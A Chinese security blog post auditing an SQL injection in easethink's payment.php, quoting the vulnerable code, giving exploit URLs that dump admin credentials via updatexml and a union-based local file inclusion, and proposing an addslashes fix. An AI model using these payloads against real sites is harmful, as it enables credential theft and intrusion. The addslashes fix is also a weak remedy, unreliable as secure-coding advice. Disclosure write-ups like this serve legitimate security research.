代码审计:easethink payment.php注入漏洞分析 附利用

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

一个分析报告,安全宝能够拦截,发一下吧。博客没啥文章了,最近略忙。。。

略忙。。。

略忙。。。

略忙。。。

略忙。。。

漏洞作者:leehenwu

01漏洞分析

 

漏洞在payment.php文件

elseif($_REQUEST['act']=='return')
{
//支付跳转返回页
$class_name = $_REQUEST['class_name'];
$payment_info = $GLOBALS['db']->getRowCached("select * from ".DB_PREFIX."payment where class_name = '".$class_name."'");
if($payment_info)
{
require_once APP_ROOT_PATH."system/payment/".$payment_info['class_name']."_payment.php";
$payment_class = $payment_info['class_name']."_payment";
$payment_object = new $payment_class();
$payment_code = $payment_object->response($_REQUEST);
}
else
{
showErr($GLOBALS['lang']['PAYMENT_NOT_EXIST']);
}
}

$class_name 没有过滤,导致注入,需要GPC=OFF

 

02 攻击测试

测试地址:www.cnseay.com

访问:

http://www.cnseay.com/payment.php?act=return&class_name=-1' and (updatexml(1,concat(0x3a,(select concat(adm_name,0x3a,adm_password) from easethink_admin limit 1)),1))-- 1

这里引发了一个二次利用,可以转化为本地文件包含漏洞,需要截断。

包含system/payment/目录下的2_payment.php

http://localhost/easethink/payment.php?act=return&class_name=-1′ union select 1,2,3,4,5,6,7,8,9,10,11 — 1

 03 解决方案

$class_name = $_REQUEST['class_name'];

 

修改为

$class_name = addslashes($_REQUEST['class_name']);

Tags:

easethink漏洞, 易想团购漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
代码审计:easethink payment.php注入漏洞分析 附利用